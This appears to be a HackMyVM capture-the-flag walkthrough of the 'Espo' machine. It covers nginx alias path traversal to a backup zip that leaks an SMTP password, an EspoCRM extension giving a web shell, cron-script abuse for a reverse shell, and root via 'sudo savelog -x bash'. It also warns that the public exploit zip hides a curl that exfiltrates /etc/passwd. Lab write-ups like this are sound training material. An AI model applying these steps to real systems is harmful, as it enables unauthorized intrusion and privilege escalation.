Espo - HackMyVM



Another interesting machine from cromiphi...
Writeup abridged to remove the several hour pause before making any progress!!!

Discovery:

┌──(kali㉿kali)-[~/hmv/espo]
└─$ sudo netdiscover -r 10.0.0.0/24 -i eth1 -P

 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 10.0.0.1        08:00:27:c5:8d:93      1      60  PCS Systemtechnik GmbH
 10.0.0.161      08:00:27:4f:55:18      1      60  PCS Systemtechnik GmbH

-- Active scan completed, 2 Hosts found.

┌──(kali㉿kali)-[~/hmv/espo]
└─$ sudo nmap -sC -sV -O -p- -oN nmap.out 10.0.0.161

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-08 05:21 EST
Nmap scan report for 10.0.0.161
Host is up (0.0016s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey: 
|   256 dd:83:da:cb:45:d3:a8:ea:c6:be:19:03:45:76:43:8c (ECDSA)
|_  256 e5:5f:7f:25:aa:c0:18:04:c4:46:98:b3:5d:a5:2b:48 (ED25519)
80/tcp open  http    nginx
|_http-title: EspoCRM
| http-robots.txt: 1 disallowed entry 
|_/
MAC Address: 08:00:27:4F:55:18 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.08 seconds
So appears to just have a ssh and port 80 exposed.

Enumeration:

┌──(kali㉿kali)-[~/hmv/espo]
└─$  gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -u http://10.0.0.161 -x php,txt -t 10 -o 80basic.out
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.0.0.161
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 2480]
/admin                (Status: 200) [Size: 439]
/install              (Status: 200) [Size: 2480]
/client               (Status: 403) [Size: 146]
/api                  (Status: 403) [Size: 146]
/robots.txt           (Status: 200) [Size: 26]
Progress: 661680 / 661683 (100.00%)
===============================================================
Finished
===============================================================

looking at the site it can also be noted there appears to be a misconfiguration of the webserver.

admin../admin implies it is able to directory walk up a level so it may be possible to find other files and folders.
┌──(kali㉿kali)-[~/hmv/espo]
└─$ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -r -u http://10.0.0.161/admin../ -x php,txt -t 10 -o 80admindot.out
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.0.0.161/admin../
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 200) [Size: 439]
/_oldsite             (Status: 403) [Size: 146]
Progress: 67426 / 90003 (74.92%)[ERROR] parse "http://10.0.0.161/admin../besalu\t.php": net/url: invalid control character in URL
[ERROR] parse "http://10.0.0.161/admin../besalu\t.txt": net/url: invalid control character in URL
Progress: 71825 / 90003 (79.80%)[ERROR] parse "http://10.0.0.161/admin../error\x1f_log": net/url: invalid control character in URL
[ERROR] parse "http://10.0.0.161/admin../error\x1f_log.php": net/url: invalid control character in URL
[ERROR] parse "http://10.0.0.161/admin../error\x1f_log.txt": net/url: invalid control character in URL
Progress: 90000 / 90003 (100.00%)
===============================================================
Finished
===============================================================

Searching the _oldsite directory

└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -u http://10.0.0.161/admin../_oldsite/ -x php,txt -t 10 -o 80admin.out
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.0.0.161/admin../_oldsite/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/info                 (Status: 200) [Size: 540]
Progress: 7060 / 661683 (1.07%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 7208 / 661683 (1.09%)
===============================================================
Finished
===============================================================

The info file tells us to look for a zip that is easily found by adding .zip to the extensions to seach!

┌──(kali㉿kali)-[~/hmv/espo]
└─$ curl http://10.0.0.161/admin../_oldsite/info
# Backup Configuration Settings
# This configuration file dictates the backup protocols for critical data storage.

# Directory for storing backup files
# All backup files are stored in compressed ZIP format for efficient space usage and security.
# Ensure that backups are regularly updated and verified for data integrity.

backup_directory: /admin/_oldsite
backup_format: zip
# Note: The backup directory is designated for ZIP file backups only. 
# Regular maintenance and checks are required to ensure data consistency and reliability.

┌──(kali㉿kali)-[~/hmv/espo]
└─$ wget http://10.0.0.161/admin../_oldsite/backup.zip                                                             
--2024-03-08 05:48:17--  http://10.0.0.161/admin../_oldsite/backup.zip
Connecting to 10.0.0.161:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 37975754 (36M) [application/zip]
Saving to: ‘backup.zip’

backup.zip                   100%[=============================================>]  36.22M  46.7MB/s    in 0.8s    

2024-03-08 05:48:18 (46.7 MB/s) - ‘backup.zip’ saved [37975754/37975754]

The backup zip can be extracted and inspected for any credentails.
┌──(kali㉿kali)-[~/hmv/espo/backup/data]
└─$ cat config.php 

<?php
return [
  'useCache' => true,
  'jobMaxPortion' => 15,
...
  'smtpUsername' => 'admin',
  'smtpPassword' => '39Ue4kcVJ#YpaAV24CNmbWU',
...
this finally gets us credentials to logon to the portal !!!

RCE :

Logging onto the portal we can find the specific version and  search for any known vulnerabilities and exploits:


There are a couple of vulnerabilities on this version and a link to an exploit on github.

*** WARNING ***
The zip file contains a before execution script to have the espo server post its /etc/passwd file to an unknown server on the internet!
So if your espo.hmv is not air gapped in its own subnet you will either want to expand the zip and edit the BeforeInstall.php to remove the curl command and add it back or just delete BeforeInstall.php from the zip with a zipmanager.
Something to remember whenere you download anything!!!
*** End of warning and a big shout out to eriman & ll104567 for pointing it out ! ***



Cloning the repository and installing the extension from the Administration page:


Once installed the readme says to visit /webshell.php where we can execute any commands such as a reverse shell:


Stabilising the shell and looking around we can browe to /home/mandie and read files but cant write anything. There is a scripts to copy files from /var/shared_medias and we have permissions to create in that folder so that seems like a good place to start looking.

www-data@espo:~/html/public$ cd /home/mandie/
www-data@espo:/home/mandie$ ls
copyPics  pictures  user.txt  videos
www-data@espo:/home/mandie$ touch /var/shared_medias/test
www-data@espo:/home/mandie$ ls
copyPics  pictures  test  user.txt  videos
www-data@espo:/home/mandie$ 

So there is a cron job running that we can exploit.
Copying a file ove an existing file will preserve the existing file permissions so copying the copyPics file to /var/shared_medias and editing it to add a reverse shell to the end of it seems like a good idea (and also means it will keep copying files if I get it wrong first time!!!). And after a couple of minutes we get a connection.


Escalate to root:

After stabilising the shell with the usual commands...
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
(ctrl+z)
stty raw -echo;fg
reset

mandie@espo:~$ sudo -l
sudo: unable to resolve host espo: Temporary failure in name resolution
Matching Defaults entries for mandie on espo:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User mandie may run the following commands on espo:
    (ALL : ALL) NOPASSWD: /usr/bin/savelog
mandie@espo:~$ savelog --help
Illegal option --
Usage: savelog [-m mode] [-u user] [-g group] [-t] [-c cycle] [-p]
             [-j] [-C] [-d] [-l] [-r rolldir] [-n] [-q] file ...
        -m mode    - chmod log files to mode
        -u user    - chown log files to user
        -g group   - chgrp log files to group
        -c cycle   - save cycle versions of the logfile (default: 7)
        -r rolldir - use rolldir instead of . to roll files
        -C         - force cleanup of cycled logfiles
        -d         - use standard date for rolling
        -D         - override date format for -d
        -t         - touch file
        -l         - don't compress any log files (default: compress)
        -p         - preserve mode/user/group of original file
        -j         - use bzip2 instead of gzip
        -J         - use xz instead of gzip
        -1 .. -9   - compression strength or memory usage (default: 9, except for xz)
        -x script  - invoke script with rotated log file in $FILE
        -n         - do not rotate empty files
        -q         - suppress rotation message
        file       - log file names

mandie@espo:~$

[ So --help was the wrong argument.. but task failed successfully ! ]
if the savelog command allows a script to be run, lets see what happens if we use bash.

mandie@espo:~$ sudo savelog -x bash /var/log/nginx/access.log 
sudo: unable to resolve host espo: Temporary failure in name resolution
root@espo:/home/mandie# 

Thats it... rooted.




Comments

Popular posts from this blog

Zeug - HackMyVM

HackMyVM - Comingsoon